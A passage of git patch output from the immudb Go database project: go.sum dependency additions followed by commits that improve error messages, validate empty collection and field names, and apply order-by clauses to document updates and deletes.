h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= +github.com/imkira/go-interpol v1.1.0 h1:KIiKr0VSG2CUW1hl1jpiyuzuJeKUUpC8iM1AIE7N1Vk= +github.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA= +github.com/klauspost/compress v1.15.0 h1:xqfchp4whNFxn5A4XFyyYtitiWI8Hy5EW59jEwcyL6U= +github.com/klauspost/compress v1.15.0/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -27,17 +49,33 @@ github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIG github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= +github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.17 h1:BTarxUcIeDqL27Mc+vyvdWYSL28zpIhv3RoTdsLMPng= +github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= +github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/pkg/diff v0.0.0-20200914180035-5b29258ca4f7/go.mod h1:zO8QMzTeZd5cpnIkz/Gn6iK0jDfGicM1nynOkkPIl28= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/sanity-io/litter v1.5.5 h1:iE+sBxPBzoK6uaEP5Lt3fHNgpKcHXc/A2HGETy0uJQo= +github.com/sanity-io/litter v1.5.5/go.mod h1:9gzJgR2i4ZpjZHsKvUXIRQVk7P+yM3e+jAF7bU2UI5U= +github.com/sergi/go-diff v1.0.0 h1:Kpca3qRNrduNnOQeazBd0ysaKrUJiIuISHxogkT9RPQ= +github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v0.0.0-20161117074351-18a02ba4a312/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= @@ -45,18 +83,47 @@ github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/tailscale/depaware v0.0.0-20210622194025-720c4b409502/go.mod h1:p9lPsd+cx33L3H9nNoecRRxPssFKUwwI50I3pZ0yT+8= +github.com/valyala/bytebufferpool v1.0.0 h1:GqA5TC/0021Y/b9FG4Oi9Mr3q7XYx6KllzawFIhcdPw= github.com/valyala/bytebufferpool v1.0.0/go.mod h1:6bBcMArwyJ5K/AmCkWv1jt77kVWyCJ6HpOuEn7z0Csc= +github.com/valyala/fasthttp v1.34.0 h1:d3AAQJ2DRcxJYHm7OXNXtXt2as1vMDfxeIcFvhmGGm4= +github.com/valyala/fasthttp v1.34.0/go.mod h1:epZA5N+7pY6ZaEKRmstzOuYJx9HI8DI1oaCGZpdH4h0= github.com/valyala/fasttemplate v1.0.1/go.mod h1:UQGH1tvbgY+Nz5t2n7tXsz52dQxojPUpymEIMZ47gx8= github.com/valyala/fasttemplate v1.2.1/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+qRAEEKiv+SiQ= +github.com/valyala/tcplisten v1.0.0/go.mod h1:T0xQ8SeCZGxckz9qRXTfG43PvQ/mcWh7FwZEA7Ioqkc= +github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb h1:zGWFAtiMcyryUHoUjUJX0/lt1H2+i2Ka2n+D3DImSNo= +github.com/xeipuuv/gojsonpointer v0.0.0-20190905194746-02993c407bfb/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415 h1:EzJWgHovont7NscjpAxXsDA8S8BMYve8Y5+7cuRE7R0= +github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= +github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74= +github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= +github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0 h1:6fRhSjgLCkTD3JnJxvaJ4Sj+TYblw757bqYgZaOq5ZY= +github.com/yalp/jsonpath v0.0.0-20180802001716-5cc68e5049a0/go.mod h1:/LWChgwKmvncFJFHJ7Gvn9wZArjbV5/FppcK2fKk/tI= +github.com/yudai/gojsondiff v1.0.0 h1:27cbfqXLVEJ1o8I6v3y9lg8Ydm53EKqHXAOMxEGlCOA= +github.com/yudai/gojsondiff v1.0.0/go.mod h1:AY32+k2cwILAkW1fbgxQ5mUmMiZFgLIV+FBNExI05xg= +github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82 h1:BHyfKlQyqbsFN5p3IfnEUduWvb9is428/nNb5L3U01M= +github.com/yudai/golcs v0.0.0-20170316035057-ecda9a501e82/go.mod h1:lgjkn3NuSvDfVJdfcVVdX+jpBxNmX4rDAzaS45IcYoM= +github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200820211705-5c72a883971a/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201221181555-eec23a3978ad/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I= +golang.org/x/crypto v0.0.0-20220214200702-86341886e292/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= +golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -66,18 +133,35 @@ golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20201211185031-d93e913c1a58/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= @@ -87,3 +171,5 @@ gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +moul.io/http2curl/v2 v2.3.0 h1:9r3JfDzWPcbIklMOs2TnIFzDYvfAZvjeavG6EzP7jYs= +moul.io/http2curl/v2 v2.3.0/go.mod h1:RW4hyBjTWSYDOxapodpNEtX0g5Eb16sxklBqmd2RHcE= From 6b116f846167e968188dc2cd7ef1313dd89fa9ea Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 8 May 2023 10:33:58 -0300 Subject: [PATCH 0525/1062] chore(embedded/document): improve error messages Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 36f7f51062..0f76228e9a 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -209,7 +209,15 @@ func docIDFieldName(table *sql.Table) string { } func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, error) { + if collectionName == "" { + return nil, fmt.Errorf("%w: invalid collection name", ErrIllegalArguments) + } + table, err := sqlTx.Catalog().GetTableByName(collectionName) + if errors.Is(err, sql.ErrTableDoesNotExist) { + return nil, fmt.Errorf("%w (%s)", mayTranslateError(err), collectionName) + } + return table, mayTranslateError(err) } From d95ea1f68e593c31719f55187de03130d0072af3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 8 May 2023 11:51:27 -0300 Subject: [PATCH 0526/1062] chore(embedded/document): improve error messages Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 0f76228e9a..b430094a53 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -221,6 +221,19 @@ func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, return table, mayTranslateError(err) } +func getColumnForField(table *sql.Table, field string) (*sql.Column, error) { + if field == "" { + return nil, fmt.Errorf("%w: invalid field name", ErrIllegalArguments) + } + + column, err := table.GetColumnByName(field) + if errors.Is(err, sql.ErrColumnDoesNotExist) { + return nil, fmt.Errorf("%w (%s)", mayTranslateError(err), field) + } + + return column, mayTranslateError(err) +} + func collectionFromTable(table *sql.Table) *protomodel.Collection { idFieldName := docIDFieldName(table) @@ -796,9 +809,9 @@ func generateSQLExpression(query *protomodel.Query, table *sql.Table) (sql.Value var innerExp sql.ValueExp for i, exp := range exp.FieldComparisons { - column, err := table.GetColumnByName(exp.Field) + column, err := getColumnForField(table, exp.Field) if err != nil { - return nil, mayTranslateError(err) + return nil, err } value, err := structValueToSqlValue(column.Type(), exp.Value) From 1367d75769fa67311e0f25e429c3e2b4ecd49286 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 8 May 2023 16:06:53 -0300 Subject: [PATCH 0527/1062] chore(embedded/document): ensure order by clauses are used when deleting and updating Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 31 ++--- embedded/sql/stmt.go | 226 ++++++++++++++++++------------------ 2 files changed, 131 insertions(+), 126 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index b430094a53..c75b5690dc 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -611,7 +611,7 @@ func (e *Engine) UpdateDocument(ctx context.Context, query *protomodel.Query, do Value: provisionedDocID, } - if query == nil || len(query.Expressions) == 0 { + if len(query.Expressions) == 0 { query = &protomodel.Query{ Expressions: []*protomodel.QueryExpression{ { @@ -628,7 +628,7 @@ func (e *Engine) UpdateDocument(ctx context.Context, query *protomodel.Query, do } } - queryCondition, err := generateSQLExpression(query, table) + queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { return 0, nil, 0, err } @@ -637,9 +637,9 @@ func (e *Engine) UpdateDocument(ctx context.Context, query *protomodel.Query, do []sql.Selector{sql.NewColSelector(query.Collection, idFieldName)}, query.Collection, queryCondition, + generateSQLOrderByClauses(table, query.OrderBy), sql.NewInteger(1), nil, - nil, ) r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, queryStmt, nil) @@ -710,7 +710,7 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs return nil, err } - queryCondition, err := generateSQLExpression(query, table) + queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { return nil, err } @@ -719,9 +719,9 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs []sql.Selector{sql.NewColSelector(query.Collection, DocumentBLOBField)}, query.Collection, queryCondition, + generateSQLOrderByClauses(table, query.OrderBy), nil, sql.NewInteger(offset), - generateOrderByExpression(table, query.OrderBy), ) // returning an open reader here, so the caller HAS to close it @@ -793,15 +793,11 @@ func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docID return results, nil } -// generateSQLExpression generates a boolean expression from a list of expressions. -func generateSQLExpression(query *protomodel.Query, table *sql.Table) (sql.ValueExp, error) { - if query == nil || len(query.Expressions) == 0 { - return nil, nil - } - +// generateSQLFilteringExpression generates a boolean expression from a list of expressions. +func generateSQLFilteringExpression(expressions []*protomodel.QueryExpression, table *sql.Table) (sql.ValueExp, error) { var outerExp sql.ValueExp - for i, exp := range query.Expressions { + for i, exp := range expressions { if len(exp.FieldComparisons) == 0 { return nil, fmt.Errorf("%w: query expression without any field comparisson", ErrIllegalArguments) } @@ -1000,13 +996,18 @@ func (e *Engine) DeleteDocument(ctx context.Context, query *protomodel.Query) er return err } - queryCondition, err := generateSQLExpression(query, table) + queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { return err } // Delete a single document matching the query - deleteStmt := sql.NewDeleteFromStmt(table.Name(), queryCondition, sql.NewInteger(1)) + deleteStmt := sql.NewDeleteFromStmt( + table.Name(), + queryCondition, + generateSQLOrderByClauses(table, query.OrderBy), + sql.NewInteger(1), + ) _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, @@ -1026,7 +1027,7 @@ func (e *Engine) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error return e.sqlEngine.CopyCatalogToTx(ctx, tx) } -func generateOrderByExpression(table *sql.Table, orderBy []*protomodel.OrderByClause) (ordCols []*sql.OrdCol) { +func generateSQLOrderByClauses(table *sql.Table, orderBy []*protomodel.OrderByClause) (ordCols []*sql.OrdCol) { for _, col := range orderBy { ordCols = append(ordCols, sql.NewOrdCol(table.Name(), col.Field, col.Desc)) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 75aff4af38..228e8b1832 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -276,10 +276,6 @@ func persistColumn(col *Column, tx *SQLTx) error { return tx.set(mappedKey, nil, v) } -func NewCreateTableStmt(table string, ifNotExists bool, colsSpec []*ColSpec, pkColNames []string) *CreateTableStmt { - return &CreateTableStmt{table: table, ifNotExists: ifNotExists, colsSpec: colsSpec, pkColNames: pkColNames} -} - type CreateTableStmt struct { table string ifNotExists bool @@ -287,6 +283,10 @@ type CreateTableStmt struct { pkColNames []string } +func NewCreateTableStmt(table string, ifNotExists bool, colsSpec []*ColSpec, pkColNames []string) *CreateTableStmt { + return &CreateTableStmt{table: table, ifNotExists: ifNotExists, colsSpec: colsSpec, pkColNames: pkColNames} +} + func (stmt *CreateTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -332,16 +332,6 @@ func (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return tx, nil } -func NewColSpec(name string, colType SQLValueType, maxLen int, autoIncrement bool, notNull bool) *ColSpec { - return &ColSpec{ - colName: name, - colType: colType, - maxLen: maxLen, - autoIncrement: autoIncrement, - notNull: notNull, - } -} - type ColSpec struct { colName string colType SQLValueType @@ -350,8 +340,14 @@ type ColSpec struct { notNull bool } -func NewCreateIndexStmt(table string, cols []string, isUnique bool) *CreateIndexStmt { - return &CreateIndexStmt{unique: isUnique, table: table, cols: cols} +func NewColSpec(name string, colType SQLValueType, maxLen int, autoIncrement bool, notNull bool) *ColSpec { + return &ColSpec{ + colName: name, + colType: colType, + maxLen: maxLen, + autoIncrement: autoIncrement, + notNull: notNull, + } } type CreateIndexStmt struct { @@ -361,6 +357,10 @@ type CreateIndexStmt struct { cols []string } +func NewCreateIndexStmt(table string, cols []string, isUnique bool) *CreateIndexStmt { + return &CreateIndexStmt{unique: isUnique, table: table, cols: cols} +} + func (stmt *CreateIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -440,15 +440,15 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return tx, nil } -func NewAddColumnStmt(table string, colSpec *ColSpec) *AddColumnStmt { - return &AddColumnStmt{table: table, colSpec: colSpec} -} - type AddColumnStmt struct { table string colSpec *ColSpec } +func NewAddColumnStmt(table string, colSpec *ColSpec) *AddColumnStmt { + return &AddColumnStmt{table: table, colSpec: colSpec} +} + func (stmt *AddColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { return nil } @@ -509,6 +509,14 @@ func (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[ return tx, nil } +type UpsertIntoStmt struct { + isInsert bool + tableRef *tableRef + cols []string + rows []*RowSpec + onConflict *OnConflictDo +} + func NewUpserIntoStmt(table string, cols []string, rows []*RowSpec, isInsert bool, onConflict *OnConflictDo) *UpsertIntoStmt { return &UpsertIntoStmt{ isInsert: isInsert, @@ -519,12 +527,8 @@ func NewUpserIntoStmt(table string, cols []string, rows []*RowSpec, isInsert boo } } -type UpsertIntoStmt struct { - isInsert bool - tableRef *tableRef - cols []string - rows []*RowSpec - onConflict *OnConflictDo +type RowSpec struct { + Values []ValueExp } func NewRowSpec(values []ValueExp) *RowSpec { @@ -533,10 +537,6 @@ func NewRowSpec(values []ValueExp) *RowSpec { } } -type RowSpec struct { - Values []ValueExp -} - type OnConflictDo struct { } @@ -981,14 +981,6 @@ func (tx *SQLTx) deprecateIndexEntries( return reusableIndexEntries, nil } -func NewUpdateStmt(table string, where ValueExp, update *colUpdate) *UpdateStmt { - return &UpdateStmt{ - tableRef: newTableRef(table, ""), - where: where, - updates: []*colUpdate{update}, - } -} - type UpdateStmt struct { tableRef *tableRef where ValueExp @@ -998,11 +990,11 @@ type UpdateStmt struct { offset ValueExp } -func NewColUpdate(col string, val ValueExp) *colUpdate { - return &colUpdate{ - col: col, - op: EQ, - val: val, +func NewUpdateStmt(table string, where ValueExp, update *colUpdate) *UpdateStmt { + return &UpdateStmt{ + tableRef: newTableRef(table, ""), + where: where, + updates: []*colUpdate{update}, } } @@ -1012,6 